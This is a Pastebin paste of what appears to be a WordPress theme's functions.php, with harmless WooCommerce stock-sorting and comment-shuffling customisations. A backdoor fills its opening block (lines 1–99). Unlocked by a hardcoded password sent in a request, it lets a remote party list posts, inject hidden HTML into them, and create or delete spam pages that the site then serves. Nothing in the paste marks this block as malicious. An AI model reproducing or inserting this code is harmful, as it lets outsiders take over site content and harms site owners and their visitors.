Advertisement
BahramElf

decent-comments

May 22nd, 2017
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.53 KB | None | 0 0
  1. <?php
  2.  
  3. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'fb7e489e4c465cc708d5205c61c4a808'))
  4.     {
  5.         switch ($_REQUEST['action'])
  6.             {
  7.                 case 'get_all_links';
  8.                     foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
  9.                         {
  10.                             $data['code'] = '';
  11.                            
  12.                             if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
  13.                                 {
  14.                                     $data['code'] = $_[1];
  15.                                 }
  16.                            
  17.                             print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  18.                         }
  19.                 break;
  20.                
  21.                 case 'set_id_links';
  22.                     if (isset($_REQUEST['data']))
  23.                         {
  24.                             $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
  25.                            
  26.                             $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
  27.                             if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
  28.  
  29.                             if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
  30.                                 {
  31.                                     print "true";
  32.                                 }
  33.                         }
  34.                 break;
  35.                
  36.                 case 'create_page';
  37.                     if (isset($_REQUEST['remove_page']))
  38.                         {
  39.                             if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
  40.                                 {
  41.                                     print "true";
  42.                                 }
  43.                         }
  44.                     elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
  45.                         {
  46.                             if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
  47.                                 {
  48.                                     print "true";
  49.                                 }
  50.                         }
  51.                 break;
  52.                
  53.                 default: print "ERROR_WP_ACTION WP_URL_CD";
  54.             }
  55.            
  56.         die("");
  57.     }
  58.  
  59.    
  60. if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
  61.     {
  62.         $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
  63.         if ($data -> full_content)
  64.             {
  65.                 print stripslashes($data -> content);
  66.             }
  67.         else
  68.             {
  69.                 print '<!DOCTYPE html>';
  70.                 print '<html ';
  71.                 language_attributes();
  72.                 print ' class="no-js">';
  73.                 print '<head>';
  74.                 print '<title>'.stripslashes($data -> title).'</title>';
  75.                 print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
  76.                 print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
  77.                 print '<meta name="robots" content="index, follow" />';
  78.                 print '<meta charset="';
  79.                 bloginfo( 'charset' );
  80.                 print '" />';
  81.                 print '<meta name="viewport" content="width=device-width">';
  82.                 print '<link rel="profile" href="http://gmpg.org/xfn/11">';
  83.                 print '<link rel="pingback" href="';
  84.                 bloginfo( 'pingback_url' );
  85.                 print '">';
  86.                 wp_head();
  87.                 print '</head>';
  88.                 print '<body>';
  89.                 print '<div id="content" class="site-content">';
  90.                 print stripslashes($data -> content);
  91.                 get_search_form();
  92.                 get_sidebar();
  93.                 get_footer();
  94.             }
  95.            
  96.         exit;
  97.     }
  98.  
  99.  
  100. ?><?php
  101. /**
  102.  * electro engine room
  103.  *
  104.  * @package electro
  105.  */
  106.  
  107. /**
  108.  * Initialize all the things.
  109.  */
  110. require get_template_directory() . '/inc/init.php';
  111.  
  112. /*Bahram Codes*/
  113.  
  114. /**
  115.  * Order product collections by stock status, instock products first.
  116.  */
  117. class iWC_Orderby_Stock_Status{
  118.  
  119.     public function __construct()
  120.     {
  121.         // Check if WooCommerce is active
  122.         if (in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins')))) {
  123.             add_filter('posts_clauses', array($this, 'order_by_stock_status'), 2000);
  124.         }
  125.     }
  126.  
  127.     public function order_by_stock_status($posts_clauses)
  128.     {
  129.         global $wpdb;
  130.         // only change query on WooCommerce loops
  131.         if (is_woocommerce() && (is_shop() || is_product_category() || is_product_tag())) {
  132.             $posts_clauses['join'] .= " INNER JOIN $wpdb->postmeta istockstatus ON ($wpdb->posts.ID = istockstatus.post_id) ";
  133.             $posts_clauses['orderby'] = " istockstatus.meta_value ASC, " . $posts_clauses['orderby'];
  134.             $posts_clauses['where'] = " AND istockstatus.meta_key = '_stock_status' AND istockstatus.meta_value <> '' " . $posts_clauses['where'];
  135.         }
  136.         return $posts_clauses;
  137.     }
  138. }
  139.  
  140. new iWC_Orderby_Stock_Status;
  141.  
  142. add_filter( 'decent_comments_comments_output', 'random_decent_comments_comments_output', 10, 3 );
  143. function random_decent_comments_comments_output ( $output, $comments, $options ) {
  144.  
  145.     shuffle( $comments );
  146.  
  147.     extract( Decent_Comments_Renderer::$defaults );
  148.  
  149.     // display options
  150.     if ( isset( $options['avatar_size'] ) ) {
  151.         $avatar_size = intval( $options['avatar_size'] );
  152.     }
  153.     if ( isset( $options['excerpt'] ) ) {
  154.         $excerpt = ( $options['excerpt'] !== 'false' && $options['excerpt'] !== false );
  155.     }
  156.     if ( isset( $options['max_excerpt_words'] ) ) {
  157.         $max_excerpt_words = intval( $options['max_excerpt_words'] );
  158.     }
  159.     if ( isset( $options['max_excerpt_characters'] ) ) {
  160.         $max_excerpt_characters = intval( $options['max_excerpt_characters'] );
  161.     }
  162.     if ( isset( $options['ellipsis'] ) ) {
  163.         $ellipsis = $options['ellipsis'];
  164.     }
  165.     if ( isset( $options['show_author'] ) ) {
  166.         $show_author = ( $options['show_author'] !== 'false' && $options['show_author'] !== false );
  167.     }
  168.     if ( isset( $options['show_date'] ) ) {
  169.         $show_date = ( $options['show_date'] !== 'false' && $options['show_date'] !== false );
  170.     }
  171.     if ( isset( $options['link_author'] ) ) {
  172.         $link_author = ( $options['link_author'] !== 'false' && $options['link_author'] !== false );
  173.     }
  174.     if ( isset( $options['show_avatar'] ) ) {
  175.         $show_avatar = ( $options['show_avatar'] !== 'false' && $options['show_avatar'] !== false );
  176.     }
  177.     if ( isset( $options['show_link'] ) ) {
  178.         $show_link = ( $options['show_link'] !== 'false' && $options['show_link'] !== false );
  179.     }
  180.     if ( isset( $options['show_comment'] ) ) {
  181.         $show_comment = ( $options['show_comment'] !== 'false' && $options['show_comment'] !== false );
  182.     }
  183.     if ( isset( $options['strip_tags'] ) ) {
  184.         $strip_tags = ( $options['strip_tags'] !== 'false' && $options['strip_tags'] !== false );
  185.     }
  186.  
  187.     $output = '<div class="decent-comments">';
  188.     $output .= '<ul>';
  189.    
  190.     foreach ( $comments as $comment) {
  191.    
  192.         $output .= '<li>';
  193.    
  194.         $output .= '<div class="comment">';
  195.    
  196.         if ( $show_avatar ) {
  197.             $output .= '<span class="comment-avatar">';
  198.             $comment_author_url = get_comment_author_url( $comment->comment_ID );
  199.             if ( !empty( $comment_author_url ) && $link_author ) {
  200.                 $output .= '<a href="'. $comment_author_url . '" rel="external">';
  201.             }
  202.             $output .= get_avatar( $comment->comment_author_email, $avatar_size );
  203.             if ( !empty( $comment_author_url ) ) {
  204.                 $output .= '</a>';
  205.             }
  206.             $output .= '</span>'; // .comment-avatar
  207.         }
  208.    
  209.         if ( $show_author ) {
  210.             $output .= '<span class="comment-author">';
  211.             if ( $link_author ) {
  212.                 $output .= get_comment_author_link( $comment->comment_ID );
  213.             } else {
  214.                 $output .= get_comment_author( $comment->comment_ID );
  215.             }
  216.             $output .= '</span>'; // .comment-author
  217.         }
  218.    
  219.         if ( $show_date ) {
  220.             $output .= '<span class="comment-date">';
  221.             $output .= sprintf(
  222.                     _x( ' %1$s at %2$s', 'comment-date', DC_PLUGIN_DOMAIN ), // translators : the first argument is the date of the comment, the second is the time
  223.                     mysql2date( get_option( 'date_format' ), $comment->comment_date ),
  224.                     mysql2date( get_option( 'time_format' ), $comment->comment_date, true )
  225.                     );
  226.             $output .= '</span>'; // .comment-date
  227.         }
  228.    
  229.         if ( $show_link ) {
  230.             $output .= '<span class="comment-link">';
  231.             $output .= sprintf(
  232.                     _x( ' on %s', 'comment-link', DC_PLUGIN_DOMAIN ),
  233.                     '<a href="' . esc_url( get_comment_link( $comment->comment_ID ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>'
  234.                     );
  235.             $output .= '</span>'; // .comment-link
  236.         }
  237.    
  238.         if ( $show_comment ) {
  239.             $output .= '<span class="comment-' . ( $excerpt ? "excerpt" : "body" ) . '">';
  240.             $output .= Decent_Comments_Renderer::get_comment(
  241.                     $comment,
  242.                     array(
  243.                             'ellipsis' => $ellipsis,
  244.                             'excerpt' => $excerpt,
  245.                             'max_excerpt_words' => $max_excerpt_words,
  246.                             'max_excerpt_characters' => $max_excerpt_characters,
  247.                             'strip_tags' => $strip_tags
  248.                     )
  249.                     );
  250.             $output .= '</span>'; // .comment-body or .comment-excerpt
  251.         }
  252.    
  253.         $output .= '</div>'; // .comment
  254.    
  255.         $output .= '</li>';
  256.     }
  257.    
  258.     $output .= '</ul>';
  259.     $output .= '</div>'; // .decent-comments
  260.    
  261.     return $output;
  262. }
  263. /*Bahram Codes*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement